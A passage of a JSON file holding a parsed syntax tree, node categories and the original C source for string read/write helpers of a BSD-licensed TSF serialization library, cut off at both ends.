185, "children": [188, 191, 192], "start_point": {"row": 80, "column": 15}, "end_point": {"row": 80, "column": 28}}, {"id": 188, "type": "pointer_declarator", "text": "*cur_char", "parent": 187, "children": [189, 190], "start_point": {"row": 80, "column": 15}, "end_point": {"row": 80, "column": 24}}, {"id": 189, "type": "*", "text": "*", "parent": 188, "children": [], "start_point": {"row": 80, "column": 15}, "end_point": {"row": 80, "column": 16}}, {"id": 190, "type": "identifier", "text": "cur_char", "parent": 188, "children": [], "start_point": {"row": 80, "column": 16}, "end_point": {"row": 80, "column": 24}}, {"id": 191, "type": "=", "text": "=", "parent": 187, "children": [], "start_point": {"row": 80, "column": 24}, "end_point": {"row": 80, "column": 25}}, {"id": 192, "type": "identifier", "text": "str", "parent": 187, "children": [], "start_point": {"row": 80, "column": 25}, "end_point": {"row": 80, "column": 28}}, {"id": 193, "type": "do_statement", "text": "do {\n if (!writer(arg,(void*)cur_char,1)) {\n return tsf_false;\n }\n } while (*cur_char++);", "parent": 167, "children": [211], "start_point": {"row": 82, "column": 4}, "end_point": {"row": 86, "column": 26}}, {"id": 194, "type": "if_statement", "text": "if (!writer(arg,(void*)cur_char,1)) {\n return tsf_false;\n }", "parent": 193, "children": [195], "start_point": {"row": 83, "column": 8}, "end_point": {"row": 85, "column": 9}}, {"id": 195, "type": "parenthesized_expression", "text": "(!writer(arg,(void*)cur_char,1))", "parent": 194, "children": [196], "start_point": {"row": 83, "column": 11}, "end_point": {"row": 83, "column": 43}}, {"id": 196, "type": "unary_expression", "text": "!writer(arg,(void*)cur_char,1)", "parent": 195, "children": [197, 198], "start_point": {"row": 83, "column": 12}, "end_point": {"row": 83, "column": 42}}, {"id": 197, "type": "!", "text": "!", "parent": 196, "children": [], "start_point": {"row": 83, "column": 12}, "end_point": {"row": 83, "column": 13}}, {"id": 198, "type": "call_expression", "text": "writer(arg,(void*)cur_char,1)", "parent": 196, "children": [199, 200], "start_point": {"row": 83, "column": 13}, "end_point": {"row": 83, "column": 42}}, {"id": 199, "type": "identifier", "text": "writer", "parent": 198, "children": [], "start_point": {"row": 83, "column": 13}, "end_point": {"row": 83, "column": 19}}, {"id": 200, "type": "argument_list", "text": "(arg,(void*)cur_char,1)", "parent": 198, "children": [201, 202, 208], "start_point": {"row": 83, "column": 19}, "end_point": {"row": 83, "column": 42}}, {"id": 201, "type": "identifier", "text": "arg", "parent": 200, "children": [], "start_point": {"row": 83, "column": 20}, "end_point": {"row": 83, "column": 23}}, {"id": 202, "type": "cast_expression", "text": "(void*)cur_char", "parent": 200, "children": [203, 207], "start_point": {"row": 83, "column": 24}, "end_point": {"row": 83, "column": 39}}, {"id": 203, "type": "type_descriptor", "text": "void*", "parent": 202, "children": [204, 205], "start_point": {"row": 83, "column": 25}, "end_point": {"row": 83, "column": 30}}, {"id": 204, "type": "primitive_type", "text": "void", "parent": 203, "children": [], "start_point": {"row": 83, "column": 25}, "end_point": {"row": 83, "column": 29}}, {"id": 205, "type": "abstract_pointer_declarator", "text": "*", "parent": 203, "children": [206], "start_point": {"row": 83, "column": 29}, "end_point": {"row": 83, "column": 30}}, {"id": 206, "type": "*", "text": "*", "parent": 205, "children": [], "start_point": {"row": 83, "column": 29}, "end_point": {"row": 83, "column": 30}}, {"id": 207, "type": "identifier", "text": "cur_char", "parent": 202, "children": [], "start_point": {"row": 83, "column": 31}, "end_point": {"row": 83, "column": 39}}, {"id": 208, "type": "number_literal", "text": "1", "parent": 200, "children": [], "start_point": {"row": 83, "column": 40}, "end_point": {"row": 83, "column": 41}}, {"id": 209, "type": "return_statement", "text": "return tsf_false;", "parent": 194, "children": [210], "start_point": {"row": 84, "column": 12}, "end_point": {"row": 84, "column": 29}}, {"id": 210, "type": "identifier", "text": "tsf_false", "parent": 209, "children": [], "start_point": {"row": 84, "column": 19}, "end_point": {"row": 84, "column": 28}}, {"id": 211, "type": "parenthesized_expression", "text": "(*cur_char++)", "parent": 193, "children": [212], "start_point": {"row": 86, "column": 12}, "end_point": {"row": 86, "column": 25}}, {"id": 212, "type": "pointer_expression", "text": "*cur_char++", "parent": 211, "children": [213, 214], "start_point": {"row": 86, "column": 13}, "end_point": {"row": 86, "column": 24}}, {"id": 213, "type": "*", "text": "*", "parent": 212, "children": [], "start_point": {"row": 86, "column": 13}, "end_point": {"row": 86, "column": 14}}, {"id": 214, "type": "update_expression", "text": "cur_char++", "parent": 212, "children": [215, 216], "start_point": {"row": 86, "column": 14}, "end_point": {"row": 86, "column": 24}}, {"id": 215, "type": "identifier", "text": "cur_char", "parent": 214, "children": [], "start_point": {"row": 86, "column": 14}, "end_point": {"row": 86, "column": 22}}, {"id": 216, "type": "++", "text": "++", "parent": 214, "children": [], "start_point": {"row": 86, "column": 22}, "end_point": {"row": 86, "column": 24}}, {"id": 217, "type": "return_statement", "text": "return tsf_true;", "parent": 167, "children": [218], "start_point": {"row": 88, "column": 4}, "end_point": {"row": 88, "column": 20}}, {"id": 218, "type": "identifier", "text": "tsf_true", "parent": 217, "children": [], "start_point": {"row": 88, "column": 11}, "end_point": {"row": 88, "column": 19}}, {"id": 219, "type": "function_definition", "text": "tsf_bool_t tsf_full_read_of_partial(tsf_partial_reader_t reader,\n\t\t\t\t void *arg,\n\t\t\t\t void *_data,\n\t\t\t\t uint32_t len) {\n uint8_t *data=_data;\n while (len>0) {\n\tint32_t res=reader(arg,data,len);\n\tif (res<0) {\n\t if (tsf_get_error_code()==TSF_E_UNEXPECTED_EOF\n\t\t&& data!=_data) {\n char *previous_error = strdup(tsf_get_error());\n\t\ttsf_set_error(TSF_E_ERRONEOUS_EOF,\n\t\t\t \"End-of-file after part of a full read; original \"\n\t\t\t \"error: %s\", previous_error);\n free(previous_error);\n\t }\n\t return tsf_false;\n\t}\n\tdata+=res;\n\tlen-=res;\n }\n return tsf_true;\n}", "parent": null, "children": [220, 221], "start_point": {"row": 91, "column": 0}, "end_point": {"row": 113, "column": 1}}, {"id": 220, "type": "type_identifier", "text": "tsf_bool_t", "parent": 219, "children": [], "start_point": {"row": 91, "column": 0}, "end_point": {"row": 91, "column": 10}}, {"id": 221, "type": "function_declarator", "text": "tsf_full_read_of_partial(tsf_partial_reader_t reader,\n\t\t\t\t void *arg,\n\t\t\t\t void *_data,\n\t\t\t\t uint32_t len)", "parent": 219, "children": [222, 223], "start_point": {"row": 91, "column": 11}, "end_point": {"row": 94, "column": 21}}, {"id": 222, "type": "identifier", "text": "tsf_full_read_of_partial", "parent": 221, "children": [], "start_point": {"row": 91, "column": 11}, "end_point": {"row": 91, "column": 35}}, {"id": 223, "type": "parameter_list", "text": "(tsf_partial_reader_t reader,\n\t\t\t\t void *arg,\n\t\t\t\t void *_data,\n\t\t\t\t uint32_t len)", "parent": 221, "children": [224, 227, 232, 237], "start_point": {"row": 91, "column": 35}, "end_point": {"row": 94, "column": 21}}, {"id": 224, "type": "parameter_declaration", "text": "tsf_partial_reader_t reader", "parent": 223, "children": [225, 226], "start_point": {"row": 91, "column": 36}, "end_point": {"row": 91, "column": 63}}, {"id": 225, "type": "type_identifier", "text": "tsf_partial_reader_t", "parent": 224, "children": [], "start_point": {"row": 91, "column": 36}, "end_point": {"row": 91, "column": 56}}, {"id": 226, "type": "identifier", "text": "reader", "parent": 224, "children": [], "start_point": {"row": 91, "column": 57}, "end_point": {"row": 91, "column": 63}}, {"id": 227, "type": "parameter_declaration", "text": "void *arg", "parent": 223, "children": [228, 229], "start_point": {"row": 92, "column": 8}, "end_point": {"row": 92, "column": 17}}, {"id": 228, "type": "primitive_type", "text": "void", "parent": 227, "children": [], "start_point": {"row": 92, "column": 8}, "end_point": {"row": 92, "column": 12}}, {"id": 229, "type": "pointer_declarator", "text": "*arg", "parent": 227, "children": [230, 231], "start_point": {"row": 92, "column": 13}, "end_point": {"row": 92, "column": 17}}, {"id": 230, "type": "*", "text": "*", "parent": 229, "children": [], "start_point": {"row": 92, "column": 13}, "end_point": {"row": 92, "column": 14}}, {"id": 231, "type": "identifier", "text": "arg", "parent": 229, "children": [], "start_point": {"row": 92, "column": 14}, "end_point": {"row": 92, "column": 17}}, {"id": 232, "type": "parameter_declaration", "text": "void *_data", "parent": 223, "children": [233, 234], "start_point": {"row": 93, "column": 8}, "end_point": {"row": 93, "column": 19}}, {"id": 233, "type": "primitive_type", "text": "void", "parent": 232, "children": [], "start_point": {"row": 93, "column": 8}, "end_point": {"row": 93, "column": 12}}, {"id": 234, "type": "pointer_declarator", "text": "*_data", "parent": 232, "children": [235, 236], "start_point": {"row": 93, "column": 13}, "end_point": {"row": 93, "column": 19}}, {"id": 235, "type": "*", "text": "*", "parent": 234, "children": [], "start_point": {"row": 93, "column": 13}, "end_point": {"row": 93, "column": 14}}, {"id": 236, "type": "identifier", "text": "_data", "parent": 234, "children": [], "start_point": {"row": 93, "column": 14}, "end_point": {"row": 93, "column": 19}}, {"id": 237, "type": "parameter_declaration", "text": "uint32_t len", "parent": 223, "children": [238, 239], "start_point": {"row": 94, "column": 8}, "end_point": {"row": 94, "column": 20}}, {"id": 238, "type": "primitive_type", "text": "uint32_t", "parent": 237, "children": [], "start_point": {"row": 94, "column": 8}, "end_point": {"row": 94, "column": 16}}, {"id": 239, "type": "identifier", "text": "len", "parent": 237, "children": [], "start_point": {"row": 94, "column": 17}, "end_point": {"row": 94, "column": 20}}, {"id": 240, "type": "declaration", "text": "uint8_t *data=_data;", "parent": 219, "children": [241, 242], "start_point": {"row": 95, "column": 4}, "end_point": {"row": 95, "column": 24}}, {"id": 241, "type": "primitive_type", "text": "uint8_t", "parent": 240, "children": [], "start_point": {"row": 95, "column": 4}, "end_point": {"row": 95, "column": 11}}, {"id": 242, "type": "init_declarator", "text": "*data=_data", "parent": 240, "children": [243, 246, 247], "start_point": {"row": 95, "column": 12}, "end_point": {"row": 95, "column": 23}}, {"id": 243, "type": "pointer_declarator", "text": "*data", "parent": 242, "children": [244, 245], "start_point": {"row": 95, "column": 12}, "end_point": {"row": 95, "column": 17}}, {"id": 244, "type": "*", "text": "*", "parent": 243, "children": [], "start_point": {"row": 95, "column": 12}, "end_point": {"row": 95, "column": 13}}, {"id": 245, "type": "identifier", "text": "data", "parent": 243, "children": [], "start_point": {"row": 95, "column": 13}, "end_point": {"row": 95, "column": 17}}, {"id": 246, "type": "=", "text": "=", "parent": 242, "children": [], "start_point": {"row": 95, "column": 17}, "end_point": {"row": 95, "column": 18}}, {"id": 247, "type": "identifier", "text": "_data", "parent": 242, "children": [], "start_point": {"row": 95, "column": 18}, "end_point": {"row": 95, "column": 23}}, {"id": 248, "type": "while_statement", "text": "while (len>0) {\n\tint32_t res=reader(arg,data,len);\n\tif (res<0) {\n\t if (tsf_get_error_code()==TSF_E_UNEXPECTED_EOF\n\t\t&& data!=_data) {\n char *previous_error = strdup(tsf_get_error());\n\t\ttsf_set_error(TSF_E_ERRONEOUS_EOF,\n\t\t\t \"End-of-file after part of a full read; original \"\n\t\t\t \"error: %s\", previous_error);\n free(previous_error);\n\t }\n\t return tsf_false;\n\t}\n\tdata+=res;\n\tlen-=res;\n }", "parent": 219, "children": [249], "start_point": {"row": 96, "column": 4}, "end_point": {"row": 111, "column": 5}}, {"id": 249, "type": "parenthesized_expression", "text": "(len>0)", "parent": 248, "children": [250], "start_point": {"row": 96, "column": 10}, "end_point": {"row": 96, "column": 17}}, {"id": 250, "type": "binary_expression", "text": "len>0", "parent": 249, "children": [251, 252, 253], "start_point": {"row": 96, "column": 11}, "end_point": {"row": 96, "column": 16}}, {"id": 251, "type": "identifier", "text": "len", "parent": 250, "children": [], "start_point": {"row": 96, "column": 11}, "end_point": {"row": 96, "column": 14}}, {"id": 252, "type": ">", "text": ">", "parent": 250, "children": [], "start_point": {"row": 96, "column": 14}, "end_point": {"row": 96, "column": 15}}, {"id": 253, "type": "number_literal", "text": "0", "parent": 250, "children": [], "start_point": {"row": 96, "column": 15}, "end_point": {"row": 96, "column": 16}}, {"id": 254, "type": "declaration", "text": "int32_t res=reader(arg,data,len);", "parent": 248, "children": [255, 256], "start_point": {"row": 97, "column": 1}, "end_point": {"row": 97, "column": 34}}, {"id": 255, "type": "primitive_type", "text": "int32_t", "parent": 254, "children": [], "start_point": {"row": 97, "column": 1}, "end_point": {"row": 97, "column": 8}}, {"id": 256, "type": "init_declarator", "text": "res=reader(arg,data,len)", "parent": 254, "children": [257, 258, 259], "start_point": {"row": 97, "column": 9}, "end_point": {"row": 97, "column": 33}}, {"id": 257, "type": "identifier", "text": "res", "parent": 256, "children": [], "start_point": {"row": 97, "column": 9}, "end_point": {"row": 97, "column": 12}}, {"id": 258, "type": "=", "text": "=", "parent": 256, "children": [], "start_point": {"row": 97, "column": 12}, "end_point": {"row": 97, "column": 13}}, {"id": 259, "type": "call_expression", "text": "reader(arg,data,len)", "parent": 256, "children": [260, 261], "start_point": {"row": 97, "column": 13}, "end_point": {"row": 97, "column": 33}}, {"id": 260, "type": "identifier", "text": "reader", "parent": 259, "children": [], "start_point": {"row": 97, "column": 13}, "end_point": {"row": 97, "column": 19}}, {"id": 261, "type": "argument_list", "text": "(arg,data,len)", "parent": 259, "children": [262, 263, 264], "start_point": {"row": 97, "column": 19}, "end_point": {"row": 97, "column": 33}}, {"id": 262, "type": "identifier", "text": "arg", "parent": 261, "children": [], "start_point": {"row": 97, "column": 20}, "end_point": {"row": 97, "column": 23}}, {"id": 263, "type": "identifier", "text": "data", "parent": 261, "children": [], "start_point": {"row": 97, "column": 24}, "end_point": {"row": 97, "column": 28}}, {"id": 264, "type": "identifier", "text": "len", "parent": 261, "children": [], "start_point": {"row": 97, "column": 29}, "end_point": {"row": 97, "column": 32}}, {"id": 265, "type": "if_statement", "text": "if (res<0) {\n\t if (tsf_get_error_code()==TSF_E_UNEXPECTED_EOF\n\t\t&& data!=_data) {\n char *previous_error = strdup(tsf_get_error());\n\t\ttsf_set_error(TSF_E_ERRONEOUS_EOF,\n\t\t\t \"End-of-file after part of a full read; original \"\n\t\t\t \"error: %s\", previous_error);\n free(previous_error);\n\t }\n\t return tsf_false;\n\t}", "parent": 248, "children": [266], "start_point": {"row": 98, "column": 1}, "end_point": {"row": 108, "column": 2}}, {"id": 266, "type": "parenthesized_expression", "text": "(res<0)", "parent": 265, "children": [267], "start_point": {"row": 98, "column": 4}, "end_point": {"row": 98, "column": 11}}, {"id": 267, "type": "binary_expression", "text": "res<0", "parent": 266, "children": [268, 269, 270], "start_point": {"row": 98, "column": 5}, "end_point": {"row": 98, "column": 10}}, {"id": 268, "type": "identifier", "text": "res", "parent": 267, "children": [], "start_point": {"row": 98, "column": 5}, "end_point": {"row": 98, "column": 8}}, {"id": 269, "type": "<", "text": "<", "parent": 267, "children": [], "start_point": {"row": 98, "column": 8}, "end_point": {"row": 98, "column": 9}}, {"id": 270, "type": "number_literal", "text": "0", "parent": 267, "children": [], "start_point": {"row": 98, "column": 9}, "end_point": {"row": 98, "column": 10}}, {"id": 271, "type": "if_statement", "text": "if (tsf_get_error_code()==TSF_E_UNEXPECTED_EOF\n\t\t&& data!=_data) {\n char *previous_error = strdup(tsf_get_error());\n\t\ttsf_set_error(TSF_E_ERRONEOUS_EOF,\n\t\t\t \"End-of-file after part of a full read; original \"\n\t\t\t \"error: %s\", previous_error);\n free(previous_error);\n\t }", "parent": 265, "children": [272], "start_point": {"row": 99, "column": 5}, "end_point": {"row": 106, "column": 6}}, {"id": 272, "type": "parenthesized_expression", "text": "(tsf_get_error_code()==TSF_E_UNEXPECTED_EOF\n\t\t&& data!=_data)", "parent": 271, "children": [273], "start_point": {"row": 99, "column": 8}, "end_point": {"row": 100, "column": 17}}, {"id": 273, "type": "binary_expression", "text": "tsf_get_error_code()==TSF_E_UNEXPECTED_EOF\n\t\t&& data!=_data", "parent": 272, "children": [274, 280, 281], "start_point": {"row": 99, "column": 9}, "end_point": {"row": 100, "column": 16}}, {"id": 274, "type": "binary_expression", "text": "tsf_get_error_code()==TSF_E_UNEXPECTED_EOF", "parent": 273, "children": [275, 278, 279], "start_point": {"row": 99, "column": 9}, "end_point": {"row": 99, "column": 51}}, {"id": 275, "type": "call_expression", "text": "tsf_get_error_code()", "parent": 274, "children": [276, 277], "start_point": {"row": 99, "column": 9}, "end_point": {"row": 99, "column": 29}}, {"id": 276, "type": "identifier", "text": "tsf_get_error_code", "parent": 275, "children": [], "start_point": {"row": 99, "column": 9}, "end_point": {"row": 99, "column": 27}}, {"id": 277, "type": "argument_list", "text": "()", "parent": 275, "children": [], "start_point": {"row": 99, "column": 27}, "end_point": {"row": 99, "column": 29}}, {"id": 278, "type": "==", "text": "==", "parent": 274, "children": [], "start_point": {"row": 99, "column": 29}, "end_point": {"row": 99, "column": 31}}, {"id": 279, "type": "identifier", "text": "TSF_E_UNEXPECTED_EOF", "parent": 274, "children": [], "start_point": {"row": 99, "column": 31}, "end_point": {"row": 99, "column": 51}}, {"id": 280, "type": "&&", "text": "&&", "parent": 273, "children": [], "start_point": {"row": 100, "column": 2}, "end_point": {"row": 100, "column": 4}}, {"id": 281, "type": "binary_expression", "text": "data!=_data", "parent": 273, "children": [282, 283, 284], "start_point": {"row": 100, "column": 5}, "end_point": {"row": 100, "column": 16}}, {"id": 282, "type": "identifier", "text": "data", "parent": 281, "children": [], "start_point": {"row": 100, "column": 5}, "end_point": {"row": 100, "column": 9}}, {"id": 283, "type": "!=", "text": "!=", "parent": 281, "children": [], "start_point": {"row": 100, "column": 9}, "end_point": {"row": 100, "column": 11}}, {"id": 284, "type": "identifier", "text": "_data", "parent": 281, "children": [], "start_point": {"row": 100, "column": 11}, "end_point": {"row": 100, "column": 16}}, {"id": 285, "type": "declaration", "text": "char *previous_error = strdup(tsf_get_error());", "parent": 271, "children": [286, 287], "start_point": {"row": 101, "column": 16}, "end_point": {"row": 101, "column": 63}}, {"id": 286, "type": "primitive_type", "text": "char", "parent": 285, "children": [], "start_point": {"row": 101, "column": 16}, "end_point": {"row": 101, "column": 20}}, {"id": 287, "type": "init_declarator", "text": "*previous_error = strdup(tsf_get_error())", "parent": 285, "children": [288, 291, 292], "start_point": {"row": 101, "column": 21}, "end_point": {"row": 101, "column": 62}}, {"id": 288, "type": "pointer_declarator", "text": "*previous_error", "parent": 287, "children": [289, 290], "start_point": {"row": 101, "column": 21}, "end_point": {"row": 101, "column": 36}}, {"id": 289, "type": "*", "text": "*", "parent": 288, "children": [], "start_point": {"row": 101, "column": 21}, "end_point": {"row": 101, "column": 22}}, {"id": 290, "type": "identifier", "text": "previous_error", "parent": 288, "children": [], "start_point": {"row": 101, "column": 22}, "end_point": {"row": 101, "column": 36}}, {"id": 291, "type": "=", "text": "=", "parent": 287, "children": [], "start_point": {"row": 101, "column": 37}, "end_point": {"row": 101, "column": 38}}, {"id": 292, "type": "call_expression", "text": "strdup(tsf_get_error())", "parent": 287, "children": [293, 294], "start_point": {"row": 101, "column": 39}, "end_point": {"row": 101, "column": 62}}, {"id": 293, "type": "identifier", "text": "strdup", "parent": 292, "children": [], "start_point": {"row": 101, "column": 39}, "end_point": {"row": 101, "column": 45}}, {"id": 294, "type": "argument_list", "text": "(tsf_get_error())", "parent": 292, "children": [295], "start_point": {"row": 101, "column": 45}, "end_point": {"row": 101, "column": 62}}, {"id": 295, "type": "call_expression", "text": "tsf_get_error()", "parent": 294, "children": [296, 297], "start_point": {"row": 101, "column": 46}, "end_point": {"row": 101, "column": 61}}, {"id": 296, "type": "identifier", "text": "tsf_get_error", "parent": 295, "children": [], "start_point": {"row": 101, "column": 46}, "end_point": {"row": 101, "column": 59}}, {"id": 297, "type": "argument_list", "text": "()", "parent": 295, "children": [], "start_point": {"row": 101, "column": 59}, "end_point": {"row": 101, "column": 61}}, {"id": 298, "type": "call_expression", "text": "tsf_set_error(TSF_E_ERRONEOUS_EOF,\n\t\t\t \"End-of-file after part of a full read; original \"\n\t\t\t \"error: %s\", previous_error)", "parent": 271, "children": [299, 300], "start_point": {"row": 102, "column": 2}, "end_point": {"row": 104, "column": 37}}, {"id": 299, "type": "identifier", "text": "tsf_set_error", "parent": 298, "children": [], "start_point": {"row": 102, "column": 2}, "end_point": {"row": 102, "column": 15}}, {"id": 300, "type": "argument_list", "text": "(TSF_E_ERRONEOUS_EOF,\n\t\t\t \"End-of-file after part of a full read; original \"\n\t\t\t \"error: %s\", previous_error)", "parent": 298, "children": [301, 302, 305], "start_point": {"row": 102, "column": 15}, "end_point": {"row": 104, "column": 37}}, {"id": 301, "type": "identifier", "text": "TSF_E_ERRONEOUS_EOF", "parent": 300, "children": [], "start_point": {"row": 102, "column": 16}, "end_point": {"row": 102, "column": 35}}, {"id": 302, "type": "concatenated_string", "text": "\"End-of-file after part of a full read; original \"\n\t\t\t \"error: %s\"", "parent": 300, "children": [303, 304], "start_point": {"row": 103, "column": 9}, "end_point": {"row": 104, "column": 20}}, {"id": 303, "type": "string_literal", "text": "\"End-of-file after part of a full read; original \"", "parent": 302, "children": [], "start_point": {"row": 103, "column": 9}, "end_point": {"row": 103, "column": 59}}, {"id": 304, "type": "string_literal", "text": "\"error: %s\"", "parent": 302, "children": [], "start_point": {"row": 104, "column": 9}, "end_point": {"row": 104, "column": 20}}, {"id": 305, "type": "identifier", "text": "previous_error", "parent": 300, "children": [], "start_point": {"row": 104, "column": 22}, "end_point": {"row": 104, "column": 36}}, {"id": 306, "type": "call_expression", "text": "free(previous_error)", "parent": 271, "children": [307, 308], "start_point": {"row": 105, "column": 16}, "end_point": {"row": 105, "column": 36}}, {"id": 307, "type": "identifier", "text": "free", "parent": 306, "children": [], "start_point": {"row": 105, "column": 16}, "end_point": {"row": 105, "column": 20}}, {"id": 308, "type": "argument_list", "text": "(previous_error)", "parent": 306, "children": [309], "start_point": {"row": 105, "column": 20}, "end_point": {"row": 105, "column": 36}}, {"id": 309, "type": "identifier", "text": "previous_error", "parent": 308, "children": [], "start_point": {"row": 105, "column": 21}, "end_point": {"row": 105, "column": 35}}, {"id": 310, "type": "return_statement", "text": "return tsf_false;", "parent": 265, "children": [311], "start_point": {"row": 107, "column": 5}, "end_point": {"row": 107, "column": 22}}, {"id": 311, "type": "identifier", "text": "tsf_false", "parent": 310, "children": [], "start_point": {"row": 107, "column": 12}, "end_point": {"row": 107, "column": 21}}, {"id": 312, "type": "assignment_expression", "text": "data+=res", "parent": 248, "children": [313, 314, 315], "start_point": {"row": 109, "column": 1}, "end_point": {"row": 109, "column": 10}}, {"id": 313, "type": "identifier", "text": "data", "parent": 312, "children": [], "start_point": {"row": 109, "column": 1}, "end_point": {"row": 109, "column": 5}}, {"id": 314, "type": "+=", "text": "+=", "parent": 312, "children": [], "start_point": {"row": 109, "column": 5}, "end_point": {"row": 109, "column": 7}}, {"id": 315, "type": "identifier", "text": "res", "parent": 312, "children": [], "start_point": {"row": 109, "column": 7}, "end_point": {"row": 109, "column": 10}}, {"id": 316, "type": "assignment_expression", "text": "len-=res", "parent": 248, "children": [317, 318, 319], "start_point": {"row": 110, "column": 1}, "end_point": {"row": 110, "column": 9}}, {"id": 317, "type": "identifier", "text": "len", "parent": 316, "children": [], "start_point": {"row": 110, "column": 1}, "end_point": {"row": 110, "column": 4}}, {"id": 318, "type": "-=", "text": "-=", "parent": 316, "children": [], "start_point": {"row": 110, "column": 4}, "end_point": {"row": 110, "column": 6}}, {"id": 319, "type": "identifier", "text": "res", "parent": 316, "children": [], "start_point": {"row": 110, "column": 6}, "end_point": {"row": 110, "column": 9}}, {"id": 320, "type": "return_statement", "text": "return tsf_true;", "parent": 219, "children": [321], "start_point": {"row": 112, "column": 4}, "end_point": {"row": 112, "column": 20}}, {"id": 321, "type": "identifier", "text": "tsf_true", "parent": 320, "children": [], "start_point": {"row": 112, "column": 11}, "end_point": {"row": 112, "column": 19}}]}, "node_categories": {"declarations": {"functions": [6, 10, 167, 169, 219, 221], "variables": [13, 16, 21, 24, 27, 33, 39, 45, 57, 60, 172, 175, 180, 185, 224, 227, 232, 237, 240, 254, 285], "classes": [], "imports": [0, 1, 3, 4], "modules": [], "enums": []}, "statements": {"expressions": [52, 67, 68, 73, 85, 86, 92, 93, 95, 99, 106, 108, 114, 115, 126, 135, 136, 140, 150, 160, 195, 196, 198, 202, 211, 212, 214, 249, 250, 259, 266, 267, 272, 273, 274, 275, 281, 292, 295, 298, 306], "assignments": [81, 105, 119, 130, 157, 312, 316], "loops": [56, 80, 248], "conditionals": [11, 14, 15, 20, 23, 26, 30, 36, 38, 42, 50, 53, 55, 59, 61, 63, 65, 66, 69, 74, 82, 84, 87, 91, 96, 98, 100, 107, 109, 112, 113, 116, 120, 122, 125, 127, 131, 133, 134, 137, 139, 141, 143, 147, 149, 151, 153, 158, 161, 163, 164, 166, 168, 170, 173, 174, 179, 184, 190, 192, 194, 199, 201, 207, 210, 215, 218, 220, 222, 225, 226, 231, 236, 239, 245, 247, 251, 257, 260, 262, 263, 264, 265, 268, 271, 276, 279, 282, 284, 290, 293, 296, 299, 301, 305, 307, 309, 311, 313, 315, 317, 319, 321], "returns": [77, 102, 154, 165, 209, 217, 310, 320], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 5, 32, 44, 76, 90, 101, 118, 144, 145, 146, 148, 208, 253, 270, 302, 303, 304], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 6, "universal_type": "function", "name": "*arg,", "text_snippet": "char *tsf_read_string(tsf_reader_t reader,\n void *arg,\n si"}, {"node_id": 10, "universal_type": "function", "name": "*arg,", "text_snippet": "tsf_read_string(tsf_reader_t reader,\n void *arg,\n size_t m"}, {"node_id": 167, "universal_type": "function", "name": "*arg,", "text_snippet": "tsf_bool_t tsf_write_string(tsf_writer_t writer,\n void *arg,\n "}, {"node_id": 169, "universal_type": "function", "name": "*arg,", "text_snippet": "tsf_write_string(tsf_writer_t writer,\n void *arg,\n "}, {"node_id": 219, "universal_type": "function", "name": "*arg,", "text_snippet": "tsf_bool_t tsf_full_read_of_partial(tsf_partial_reader_t reader,\n\t\t\t\t void *arg,\n\t\t\t\t void *_d"}, {"node_id": 221, "universal_type": "function", "name": "*arg,", "text_snippet": "tsf_full_read_of_partial(tsf_partial_reader_t reader,\n\t\t\t\t void *arg,\n\t\t\t\t void *_data,\n\t\t\t\t "}], "class_declarations": [], "import_statements": [{"node_id": 0, "text": "#include \"tsf_internal.h\"\n"}, {"node_id": 1, "text": "#include"}, {"node_id": 3, "text": "#include \"tsf_format.h\"\n"}, {"node_id": 4, "text": "#include"}]}, "original_source_code": "/*\n * Copyright (C) 2003, 2004, 2005 <NAME>. All rights reserved.\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n * \n * THIS SOFTWARE IS PROVIDED BY <NAME> ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL <NAME> OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \n */\n\n#include \"tsf_internal.h\"\n#include \"tsf_format.h\"\n\nchar *tsf_read_string(tsf_reader_t reader,\n void *arg,\n size_t max_size) {\n uint8_t ui8_tmp;\n\n const size_t step=128;\n size_t size=step;\n \n uint32_t i=0;\n \n char *str=malloc(size);\n \n for (;;) {\n uint32_t n;\n tsf_bool_t done=tsf_false;\n \n if (str==NULL) {\n tsf_set_errno(\"Could not (m|re)alloc string\");\n return NULL;\n }\n \n for (n=step;n-->0;) {\n if (!reader(arg,&ui8_tmp,1)) {\n return NULL;\n }\n str[i++]=ui8_tmp;\n if (ui8_tmp==0) {\n done=tsf_true;\n break;\n }\n }\n \n if (done) {\n break;\n }\n \n size+=step;\n if (size>max_size) {\n tsf_set_error(TSF_E_PARSE_ERROR,\n \"Remote end attempted to send a string that \"\n \"exceeded our limit of \" fsz \".\",max_size);\n free(str);\n return NULL;\n }\n str=realloc(str,size);\n }\n \n return str;\n}\n\ntsf_bool_t tsf_write_string(tsf_writer_t writer,\n void *arg,\n const char *str) {\n const char *cur_char=str;\n\n do {\n if (!writer(arg,(void*)cur_char,1)) {\n return tsf_false;\n }\n } while (*cur_char++);\n \n return tsf_true;\n}\n\ntsf_bool_t tsf_full_read_of_partial(tsf_partial_reader_t reader,\n\t\t\t\t void *arg,\n\t\t\t\t void *_data,\n\t\t\t\t uint32_t len) {\n uint8_t *data=_data;\n while (len>0) {\n\tint32_t res=reader(arg,data,len);\n\tif (res<0) {\n\t if (tsf_get_error_code()==TSF_E_UNEXPECTED_EOF\n\t\t&& data!=_data) {\n char *previous_error = strdup(tsf_get_error());\n\t\ttsf_set_error(TSF_E_ERRONEOUS_EOF,\n\t\t\t \"End-of-file after part of a full read; original \"\n\t\t\t \"error: %s\", previous_error);\n free(previous_error);\n\t }\n\t return 